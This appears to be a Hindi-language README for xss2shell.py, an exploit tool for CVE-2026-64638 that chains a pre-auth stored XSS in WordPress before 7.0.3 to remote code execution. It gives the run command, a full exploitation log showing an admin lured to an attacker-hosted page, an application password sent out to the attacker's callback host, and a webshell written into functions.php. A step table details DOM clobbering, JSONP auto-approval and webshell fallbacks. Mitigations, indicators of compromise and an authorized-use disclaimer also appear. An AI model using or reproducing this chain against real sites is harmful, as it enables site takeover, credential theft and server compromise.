
CVE-2026-64638 | WordPress < 7.0.3 प्री-ऑथ स्टोर्ड XSS → RCE
इस CVE के लिए हर सार्वजनिक PoC टूटा हुआ है। यह वाला काम करता है।
WordPress < 7.0.3 wp-login.php में log (उपयोगकर्ता नाम) पैरामीटर को सैनिटाइज़ नहीं करता। यह मान एडमिन के प्रमाणित सत्र के भीतर संग्रहीत और रेंडर किया जाता है — एक प्री-ऑथ स्टोर्ड XSS जो एक ही क्लिक में पूर्ण सर्वर टेकओवर तक श्रृंखलाबद्ध हो जाता है।
Victim clicks lure ---> XSS fires ---> App Password stolen ---> Shell planted ---> RCE
# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php
============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.
usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]
-t, --target Target WordPress URL
-c, --command OS command to execute on the server
--lhost Attacker callback IP (default: auto-detect)
--lport Attacker callback port (default: random)
--keep Don't clean up artifacts after exploitation
| चरण | क्रिया | विवरण |
|---|---|---|
| 1. XSS | wp-login.php के माध्यम से इंजेक्ट करें | DOM क्लॉबरिंग (<area id=ajaxurl>) के साथ तैयार किया गया log पैरामीटर WP के AJAX URL को हाईजैक करता है, JSONP के माध्यम से App Password अनुमोदन को स्वतः क्लिक करता है |
| 2. चोरी | Application Password का बहिर्गमन | authorize-application.php चुपचाप एक App Password बनाता है; success_url इसे हमलावर को भेजता है |
| 3. शेल | वेबशेल लिखें (3 फ़ॉलबैक) | थीम एडिटर → functions.php · प्लगइन अपलोड → xss2shell/shell.php · प्लगइन एडिटर → मौजूदा प्लगइन फ़ाइल |
| 4. RCE | OS कमांड निष्पादित करें | वेबशेल shell_exec() चलाता है, JSON आउटपुट लौटाता है, टूल स्वतः सत्यापित करता है और सफ़ाई करता है |
| संस्करण | स्थिति |
|---|---|
| WordPress < 7.0.3 | असुरक्षित |
| WordPress >= 7.0.3 | पैच किया गया |
| शर्त | प्रभाव |
|---|---|
DISALLOW_FILE_EDIT | थीम/प्लगइन एडिटर अवरुद्ध — केवल ZIP अपलोड काम करता है |
DISALLOW_FILE_MODS | सभी 3 विधियाँ अवरुद्ध — कोई RCE नहीं |
| WAF (Cloudflare, Wordfence) | XSS पेलोड या वेबशेल अनुरोधों को फ़िल्टर कर सकता है |
PHP में disable_functions | shell_exec अवरुद्ध — खाली आउटपुट |
| पॉप-अप ब्लॉकर | पॉपअप श्रृंखला को तोड़ता है |
| सख्त CSP हेडर | इनलाइन JS या क्रॉस-ओरिजिन फ़ेच को अवरुद्ध करता है |
यदि आपकी साइट के विरुद्ध xss2shell का उपयोग किया गया है तो इन संकेतकों को देखें:
XSS2Shell-Poc-Wordsec के लिए Application Passwordwp-content/plugins/ में प्लगइन xss2shellfunctions.php या किसी भी प्लगइन फ़ाइल में स्ट्रिंग xss2shell_cmd/?rest_route=/&_method=GET&_jsonp= पर JSONP अनुरोधCVE-2026-64638 के लिए प्रत्येक सार्वजनिक PoC alert(1) पर रुक जाता है या ऐसे मैन्युअल चरणों की आवश्यकता होती है जिन्हें कोई भी ट्राइएजर पुनः उत्पन्न नहीं कर सकता। यह टूल एक ही कमांड में पूर्ण श्रृंखला शोषण प्रदान करता है — शून्य प्रमाणीकरण से RCE तक। उन सुरक्षा शोधकर्ताओं के लिए बनाया गया है जिन्हें सिद्धांत नहीं, प्रमाण चाहिए।
केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टमों तक अनधिकृत पहुँच अवैध है।
WordSec · CVE-2026-64638 · WordPress 7.0.3 में पैच किया गया